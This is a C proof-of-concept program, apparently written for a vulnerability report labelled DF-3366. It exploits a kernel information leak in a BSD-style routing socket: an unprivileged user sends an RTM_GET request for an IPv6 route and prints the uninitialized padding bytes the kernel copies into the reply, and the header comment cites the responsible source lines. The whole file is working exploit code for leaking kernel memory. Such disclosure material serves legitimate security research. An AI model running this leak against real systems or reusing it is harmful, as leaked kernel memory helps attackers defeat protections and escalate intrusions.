/*
 * DF-3366 PoC (unprivileged part)
 *
 * Open a PF_ROUTE socket as an ordinary user, issue RTM_GET for an IPv6
 * route, and dump every sockaddr in the reply -- specifically the bytes
 * between sa_len and RT_ROUNDUP(sa_len), i.e. the alignment padding that
 * the kernel copied out of the route entry.
 *
 * For an AF_INET6 sockaddr (sa_len == 28, RT_ROUNDUP == 32) bytes 28..31
 * of the *route key* were never initialized by the kernel
 * (sys/net/route.c:925 copies only dst->sa_len bytes into an
 * RT_ROUNDUP-sized allocation from sys/net/route.c:1216), yet
 * sys/net/rtsock.c:1140-1141 bcopy()s the full rounded length into the
 * user-visible reply.
 *
 * usage: leak_get <inet6-dst> [loops]
 */
#include <sys/socket.h>
#include <sys/types.h>
#include <net/route.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define RTRND(a) ((a) > 0 ? (1 + (((a) - 1) | ((int)sizeof(long) - 1))) \
                        : (int)sizeof(long))

static void
dump(const char *label, struct sockaddr *sa)
{
	int round = RTRND(sa->sa_len);
	int i;

	printf("  %-10s sa_len=%3u af=%2u rnd=%3d pad[sa_len..rnd):", label,
	    sa->sa_len, sa->sa_family, round);
	if (sa->sa_len >= round) {
		printf(" (none)");
	} else {
		for (i = sa->sa_len; i < round; i++)
			printf(" %02x", ((unsigned char *)sa)[i]);
	}
	printf("\n");
}

int
main(int argc, char **argv)
{
	const char *dststr = argc > 1 ? argv[1] : "::1";
	int loops = argc > 2 ? atoi(argv[2]) : 1;
	struct sockaddr_in6 dst;
	char buf[2048];
	int s, n, len;

	memset(&dst, 0, sizeof(dst));
	dst.sin6_len = sizeof(dst);
	dst.sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, dststr, &dst.sin6_addr) != 1) {
		fprintf(stderr, "bad dst %s\n", dststr);
		return 2;
	}

	s = socket(PF_ROUTE, SOCK_RAW, 0);
	if (s < 0) {
		perror("socket(PF_ROUTE)");
		return 1;
	}

	for (n = 0; n < loops; n++) {
		struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
		struct rt_msghdr *r;
		char *cp;
		int seq = 0x3300 + n;
		int i;

		memset(buf, 0, sizeof(buf));
		rtm->rtm_msglen = sizeof(struct rt_msghdr) +
		    RTRND(dst.sin6_len);
		rtm->rtm_version = RTM_VERSION;
		rtm->rtm_type = RTM_GET;
		rtm->rtm_flags = RTF_HOST;
		rtm->rtm_seq = seq;
		rtm->rtm_pid = getpid();
		rtm->rtm_addrs = RTA_DST;
		memcpy(buf + sizeof(struct rt_msghdr), &dst, dst.sin6_len);

		if (write(s, buf, rtm->rtm_msglen) < 0) {
			perror("write");
			return 1;
		}
		for (;;) {
			len = read(s, buf, sizeof(buf));
			if (len < 0) {
				perror("read");
				return 1;
			}
			r = (struct rt_msghdr *)buf;
			if (r->rtm_seq == seq && r->rtm_pid == getpid() &&
			    r->rtm_type == RTM_GET)
				break;
		}

		printf("--- run %d: RTM_GET %s -> type=%d err=%d msglen=%d "
		    "addrs=0x%x\n", n, dststr, r->rtm_type, r->rtm_errno,
		    r->rtm_msglen, r->rtm_addrs);
		if (r->rtm_errno)
			continue;

		cp = buf + sizeof(struct rt_msghdr);
		for (i = 0; i < RTAX_MAX && cp < buf + r->rtm_msglen; i++) {
			struct sockaddr *sa;
			char lbl[32];

			if (!(r->rtm_addrs & (1 << i)))
				continue;
			sa = (struct sockaddr *)cp;
			if (sa->sa_len == 0) {
				cp += sizeof(long);
				continue;
			}
			snprintf(lbl, sizeof(lbl), "RTAX[%d]", i);
			dump(lbl, sa);
			cp += RTRND(sa->sa_len);
		}
	}
	return 0;
}
